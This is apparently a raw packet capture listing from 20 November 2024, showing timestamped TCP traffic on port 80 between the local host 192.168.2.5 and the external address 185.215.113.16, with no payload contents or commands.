Nov 20, 2024 06:40:22.115035057 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115036011 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115071058 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115101099 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115103006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115139008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115210056 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115225077 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115258932 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115292072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115360022 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115391970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115396023 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115428925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115459919 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115462065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115495920 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115528107 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115529060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115564108 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115595102 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115597010 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115629911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115662098 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115663052 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115698099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115724087 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115731001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115763903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115794897 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115832090 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115861893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115864992 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115876913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115892887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115910053 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115926027 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115926027 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115941048 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115952015 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115957022 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115967989 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.115972996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115988970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116000891 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116004944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116019964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116034985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116045952 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116050959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116065979 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116076946 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116086006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116091013 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116103888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116118908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116133928 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116143942 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116149902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116163015 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116173029 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116189003 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116204977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116211891 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116220951 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116228104 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116236925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116251945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116261959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116267920 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116282940 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116298914 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116311073 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116314888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116331100 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116339922 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116347075 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116362095 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116374016 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116379976 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116391897 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116395950 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116410971 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116426945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116439104 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116442919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116455078 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116458893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116473913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116488934 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116499901 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116504908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116520882 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116533041 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116537094 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116547108 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116553068 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116569042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116584063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116594076 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116600990 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116610050 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116619110 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116633892 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116645098 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116650105 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116664886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116681099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116691113 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116695881 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116704941 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116709948 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116724968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116738081 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116740942 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116756916 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116771936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116782904 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116787910 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116802931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116812944 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116820097 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.116831064 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.116919994 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.134428024 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.139681101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.139754057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.139808893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.139839888 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.139842987 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.139878035 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.139909983 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.139913082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.139965057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.139997005 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.139997959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140033007 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140064955 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140065908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140099049 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140130997 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140131950 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140166044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140197992 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140228987 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140230894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140264988 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140296936 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140297890 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140338898 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140368938 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140373945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140405893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140436888 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140438080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140471935 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140503883 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140506029 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140537977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140568018 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140573025 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140608072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140640974 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140640974 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140675068 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140686989 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140707016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140738964 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140758991 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140791893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140826941 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140827894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140861034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140893936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140927076 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140945911 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140957117 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.140963078 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.140997887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141043901 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141077042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141102076 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.141108990 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141144037 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141170979 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.141192913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141227961 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141256094 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.141261101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141297102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141314030 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141330957 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141360998 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.141540051 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141576052 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141699076 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141707897 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.141731977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.141761065 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.142043114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142077923 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142209053 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142383099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142411947 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.142573118 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142607927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142642021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142673016 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.142679930 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142709970 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.142733097 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142767906 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142800093 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.142802954 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142837048 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142894030 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142946005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.142955065 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.142981052 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143023014 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143073082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143101931 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143106937 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143121004 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143141985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143174887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143202066 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143225908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143259048 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143286943 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143292904 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143349886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143402100 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143446922 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143456936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143491030 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143492937 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143527985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143560886 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143582106 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143615961 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143650055 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143683910 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143685102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143718004 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143739939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143774033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143810034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143842936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143846035 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143894911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143933058 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143934011 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143966913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.143996954 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.143999100 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144053936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144078970 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144104004 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144136906 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144140005 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144171000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144205093 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144223928 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144260883 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144288063 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144296885 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144339085 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144367933 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144382954 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144435883 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144468069 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144500017 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144500971 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144535065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144566059 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144586086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144615889 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144619942 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144654036 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144685984 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144686937 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144718885 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144746065 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144768000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144800901 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144831896 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144834042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144870043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144901037 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144902945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144937992 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.144968987 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.144972086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145003080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145032883 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145035982 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145086050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145116091 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145117998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145149946 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145179987 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145184040 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145216942 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145248890 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145250082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145282030 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145313025 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145313978 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145350933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145351887 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145382881 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145436049 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145468950 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145503044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145531893 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145535946 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145569086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145591021 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145618916 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145652056 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145687103 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145716906 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145719051 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145768881 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145801067 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145802021 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145853043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145885944 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.145886898 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145937920 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145972013 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.145973921 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.146008968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.146042109 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.146043062 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.146078110 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.146099091 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.146111012 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.146140099 CET	49713	80	192.168.2.5	185.215.113.16
